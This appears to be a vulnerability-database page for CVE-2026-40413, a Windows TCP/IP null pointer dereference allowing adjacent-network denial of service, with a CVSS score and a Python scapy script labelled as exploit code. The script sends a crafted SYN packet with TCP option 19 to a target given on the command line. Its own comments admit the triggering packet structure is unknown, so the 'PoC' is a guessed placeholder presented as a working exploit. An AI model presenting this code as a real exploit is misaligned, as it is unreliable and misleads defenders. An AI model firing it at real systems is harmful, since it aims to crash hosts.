Null pointer dereference in Windows TCP/IP allows an unauthorized attacker to deny service over an adjacent network.
CVSS Details
CVSS Score
7.4
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H
Configurations (Affected Products)
No configuration data available.
Windows (具体受影响版本需参考官方通告)
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import sys
from scapy.all import *
# Proof of Concept for CVE-2026-40413
# Description: This script sends a crafted TCP packet to trigger the Null Pointer Dereference.
# Note: The specific packet structure (options/payload) required to trigger the crash
# should be adjusted based on detailed vulnerability analysis.
def send_exploit_packet(target_ip, target_port):
# Constructing a crafted TCP packet
ip_packet = IP(dst=target_ip)
# Example: Setting a malformed TCP option or specific flag combination
tcp_packet = TCP(sport=RandShort(), dport=target_port, flags="S", options=[(19, "1")])
# Send the packet
send(ip_packet/tcp_packet, verbose=0)
print(f"[+] Exploit packet sent to {target_ip}:{target_port}")
if __name__ == "__main__":
if len(sys.argv) < 3:
print("Usage: python3 cve_2026_40413_poc.py <Target_IP> <Target_Port>")
sys.exit(1)
target_ip = sys.argv[1]
target_port = int(sys.argv[2])
send_exploit_packet(target_ip, target_port)